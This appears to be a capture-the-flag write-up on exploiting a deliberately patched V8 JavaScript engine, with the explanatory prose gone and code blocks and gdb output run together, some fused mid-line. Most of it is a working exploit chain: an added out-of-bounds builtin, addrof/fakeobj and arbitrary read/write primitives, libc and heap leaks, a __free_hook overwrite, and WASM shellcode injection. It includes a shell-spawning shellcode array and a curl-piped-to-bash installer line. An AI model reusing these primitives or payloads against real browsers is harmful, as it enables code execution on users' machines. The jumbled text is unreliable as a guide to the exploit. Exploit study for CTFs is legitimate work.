The actual challenge
Setting Up
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);0x123456780x1234567800000000BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver())
);
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1) {
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
} else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
);
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}./d8 --shell ./exploit.jsvar object1 = {a: 20, b: 40};
var object2 = {a: 30, b: 60};$ gdb d8
gef➤ run --allow-natives-syntax
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0x30b708b4dd71: [JSArray]
- map: 0x09bccc0c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2358a3991111 <JSArray[0]>
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x3659bdb00c71 <FixedArray[0]> {
#length: 0x0418bc0c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0x9bccc0c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x09bccc0c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0418bc0c0609 <Cell value= 1>
- instance descriptors #1: 0x2358a3991f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x2358a3991eb9 <TransitionArray[4]>Transition array #1:
0x3659bdb04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x09bccc0c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x2358a3991111 <JSArray[0]>
- constructor: 0x2358a3990ec1 <JSFunction Array (sfi = 0x418bc0caca1)>
- dependent code: 0x3659bdb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.5, 2.5]
d8>
gef➤ x/4gx 0x30b708b4dd70
0x30b708b4dd70: 0x000009bccc0c2ed9 0x00003659bdb00c71
0x30b708b4dd80: 0x000030b708b4dd51 0x0000000200000000gef➤ x/10gx 0x000030b708b4dd50
0x30b708b4dd50: 0x00003659bdb014f9 0x0000000200000000 <- elements (map, length)
0x30b708b4dd60: 0x3ff8000000000000 0x4004000000000000 <- array entries
0x30b708b4dd70: 0x000009bccc0c2ed9 0x00003659bdb00c71 <- JSArray
0x30b708b4dd80: 0x000030b708b4dd51 0x0000000200000000
0x30b708b4dd90: 0x00003659bdb01cc9 0x0000000400000000gef➤ p/f 0x3ff8000000000000
$1 = 1.5
gef➤ p/f 0x4004000000000000
$2 = 2.5$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob()
2.28382032514e-310d8> ftoi(a.oob()).toString(16)
"2a0a9af82ed9"d8> %DebugPrint(a)
0x2d83ee78e0b9 <JSArray[2]>
[1.5, 2.5]
d8> ^C
gef➤ x/4gx 0x2d83ee78e0b8
0x2d83ee78e0b8: 0x00002a0a9af82ed9 0x00000db811140c71
0x2d83ee78e0c8: 0x00002d83ee78e099 0x0000000200000000var float_arr = [1.5, 2.5]
var obj1 = {a: 1, b: 2}
var obj2 = {a: 5, b: 10}
var obj_arr = [obj1, obj2]gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> var float_arr = [1.5, 2.5]
undefined
d8> var obj1 = {a: 1, b: 2}
undefined
d8> var obj2 = {a: 5, b: 10}
undefined
d8> var obj_arr = [obj1, obj2]
undefined
d8> %DebugPrint(float_arr)
0x3a38af88e0c9 <JSArray[2]>
[1.5, 2.5]
d8> %DebugPrint(obj_arr)
0x3a38af8915f1 <JSArray[2]>
[{a: 1, b: 2}, {a: 5, b: 10}]gef➤ x/4gx 0x3a38af88e0c8
0x3a38af88e0c8: 0x0000179681882ed9 0x0000389170c80c71
0x3a38af88e0d8: 0x00003a38af88e0a9 0x0000000200000000
gef➤ x/4gx 0x00003a38af88e0a8 <-- access elements array
0x3a38af88e0a8: 0x0000389170c814f9 0x0000000200000000
0x3a38af88e0b8: 0x3ff8000000000000 0x4004000000000000gef➤ x/4gx 0x3a38af8915f0
0x3a38af8915f0: 0x0000179681882f79 0x0000389170c80c71
0x3a38af891600: 0x00003a38af8915d1 0x0000000200000000
gef➤ x/4gx 0x00003a38af8915d0 <-- access elements array
0x3a38af8915d0: 0x0000389170c80801 0x0000000200000000
0x3a38af8915e0: 0x00003a38af8904f1 0x00003a38af8906b1d8> %DebugPrint(obj1)
0x3a38af8904f1 <Object map = 0x17968188ab89>
{a: 1, b: 2}
d8> %DebugPrint(obj2)
0x3a38af8906b1 <Object map = 0x17968188ab89>
{a: 5, b: 10}d8> var map_float = float_arr.oob()
d8> obj_arr.oob(map_float)
d8> ftoi(obj_arr[0]).toString(16)
"3a38af8904f1"var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x031afef4ebe9 <Object map = 0x3658c164ab39>
{a: 1}
d8> addrof(obj).toString(16)
"31afef4ebe9"function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
let fake = fakeobj(addrof(arb_rw_arr));
}function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
}// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16))
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16))[+] Float Map: 0x2b1dc2e82ed9
[+] Object Map: 0x2b1dc2e82f79gef➤ vmmap
[...]
0x00002b1dc2e80000 0x00002b1dc2ec0000 0x0000000000000000 rw-
[...]$ gdb ./d8
gef➤ run --allow-natives-syntax --shell exploit.js
[+] Address of Arbitrary RW Array: 0x64d2a00f499
[+] Float Map: 0x1d8734482ed9
[+] Object Map: 0x1d8734482f79
[+] Map Region Start: 0x1d8734480000
V8 version 7.5.0 (candidate)
d8> ^C
gef➤ vmmap
[...]
0x00001d8734480000 0x00001d87344c0000 0x0000000000000000 rw-
[...]
0x0000555555554000 0x00005555557e7000 0x0000000000000000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555557e7000 0x00005555562af000 0x0000000000293000 r-x /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562af000 0x00005555562ef000 0x0000000000d5b000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562ef000 0x00005555562f9000 0x0000000000d9b000 rw- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562f9000 0x00005555563c6000 0x0000000000000000 rw- [heap]
[...]
0x00007ffff7005000 0x00007ffff71ec000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff71ec000 0x00007ffff73ec000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73ec000 0x00007ffff73f0000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73f0000 0x00007ffff73f2000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
[...]
gef➤ x/200gx 0x1d8734480000
0x1d8734480000: 0x0000000000040000 0x0000000000000004
0x1d8734480010: 0x00005555563a7f60 0x000055555631a2e0
0x1d8734480020: 0x00001d8734480000 0x0000000000040000
0x1d8734480030: 0x0000555556329b60 0x00001d8734480001
0x1d8734480040: 0x0000555556394e90 0x00001d8734480138
0x1d8734480050: 0x00001d87344c0000 0x0000000000000000
0x1d8734480060: 0x0000000000000000 0x0000000000000000
[...]let heap_leak = arb_read(map_reg_start + 0x10n);
let heap_base = heap_leak - 0xaef60n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16))gef➤ x/200gx 0x5555562f9000
0x5555562f9000 <_ZN2v85Shell15local_counters_E+2400>: 0x0000000000000000 0x0000000000000000
0x5555562f9010 <_ZN2v85Shell15local_counters_E+2416>: 0x0000000000000000 0x0000000000000000
0x5555562f9020 <_ZN2v85Shell15local_counters_E+2432>: 0x0000000000000000 0x0000000000000000
[...]gef➤ x/10gx 0x000055555631a2e0
0x55555631a2e0: 0x00005555562dbea8 0x0000000000001000
0x55555631a2f0: 0x0000000000001000 0x0000000000000021
[...]let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));
let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));readelf -a d8 | grep -i read
[...]
000000d9a4c0 003d00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
[...]let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));gef➤ p &system
$1 = (int (*)(const char *)) 0x7ffff7054420 <__libc_system>
gef➤ p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff73f28e8 <__free_hook>
// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write to address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}
// exploit
// leaks
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16));
let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[+] Map Region Start: 0x" + map_reg_start.toString(16));
let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));
let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));
let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));
// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;
console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;gef➤ vmmap
[...]
0x000035d2131ff000 0x000035d21b141000 0x0000000000000000 ---
0x0000396a8d0b5000 0x0000396a8d0b6000 0x0000000000000000 rwx
0x0000396a8d0b6000 0x0000396acd0b5000 0x0000000000000000 ---
[...]console.log("[+] WASM Mod at 0x" + addrof(wasm_mod).toString(16));
console.log("[+] WASM Instance at 0x" + addrof(wasm_instance).toString(16));
console.log("[+] F at 0x" + addrof(f).toString(16));gef➤ run --allow-natives-syntax --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x22322b10f919
[+] WASM Mod at 0x22322b10fcc9
[+] WASM Instance at 0x45c390e13a1
[+] F at 0x45c390e1599
V8 version 7.5.0 (candidate)
d8> ^C
gef➤ vmmap
[...]
0x0000311254159000 0x000031125415a000 0x0000000000000000 rwx
[...]
gef➤ search-pattern 0x0000311254159000
[+] Searching '\x00\x90\x15\x54\x12\x31\x00\x00' in memory
[+] In (0x45c390c0000-0x45c39100000), permission=rw-
0x45c390e1428 - 0x45c390e1448 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
[+] In '[heap]'(0x5555562f9000-0x5555563c6000), permission=rw-
0x5555563a1e38 - 0x5555563a1e58 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563acfe0 - 0x5555563ad000 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563ad000 - 0x5555563ad020 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563ad120 - 0x5555563ad140 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
// this is similar to the arb_write() function
// but we have to redo it because we want to write way more than 8 bytes
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
console.log("[+] Running Shellcode...");
f();$ ./d8 --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x19b85504fea1
[+] WASM Instance at 0x189e40ca1761
[+] RWX Region located at 0x29686af10000
[+] Copying Shellcode...
[+] Running Shellcode...
Warning: Cannot convert string "-adobe-symbol-*-*-*-*-*-120-*-*-*-*-*-*" to type FontStruct// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write to address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}
// wasm exploit
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
console.log("[+] WASM Instance at 0x" + (addrof(wasm_instance)).toString(16));
// leak RWX base
let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc)
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
// shellcode time
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// pop it
console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
console.log("[+] Running Shellcode...");
f();
<html>
<head>
<script src="exploit2.js"></script>
</head>
</html>$ ./chrome --no-sandbox ../../index.htmlvar shellcode = ['0x6a58296a', '0x016a5f02', '0x050f995e', '0x68525f50', '0x0100007f', '0x5c116866', '0x6a026a66', '0x5e54582a', '0x0f5a106a', '0x5e026a05', '0x0f58216a', '0xceff4805', '0x016af679', '0x50b94958', '0x77737361', '0x41203a64', '0x6a5e5451', '0x050f5a08', '0x48c03148', '0x0f08c683', '0x31b84805', '0x35343332', '0x56383736', '0x75af485f', '0x583b6a1a', '0xbb485299', '0x6e69622f', '0x68732f2f', '0x525f5453', '0x54575a54', '0x90050f5e']$ sudo apt update
$ sudo apt install git vim$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ echo "export PATH=/tools/depot_tools:$PATH" >> ~/.bashrc$ fetch v8
$ cd v8
v8$ ./build/install-build-deps.shv8$ git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
v8$ gclient sync$ 7z x Chrome.tar.gz
$ tar -xvf Chrome.tar
$ cp Chrome/oob.diff .v8$ git apply ../oob.diff
v8$ ./tools/dev/v8gen.py x64.release
v8$ ninja -C ./out.gn/x64.releaseTraceback (most recent call last):
File "/tools/depot_tools/ninja.py", line 14, in <module>
import gclient_paths
File "/tools/depot_tools/gclient_paths.py", line 24, in <module>
def FindGclientRoot(from_dir, filename='.gclient'):
File "/usr/lib/python3.6/functools.py", line 477, in lru_cache
raise TypeError('Expected maxsize to be an integer or None')
TypeError: Expected maxsize to be an integer or None$ sudo apt install python3.8$ sudo ln -sf /usr/bin/python3.8 /usr/bin/python3$ ninja --version
depot_tools/ninja.py: Could not find Ninja in the third_party of the current project, nor in your PATH.
Please take one of the following actions to install Ninja:
- If your project has DEPS, add a CIPD Ninja dependency to DEPS.
- Otherwise, add Ninja to your PATH *after* depot_tools.$ sudo apt install ninja-buildv8$ ninja -C ./out.gn/x64.releasev8$ ./tools/dev/v8gen.py x64.debug
v8$ ninja -C ./out.gn/x64.debug$ sudo ln -sf /usr/bin/python3.6 /usr/bin/python3$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"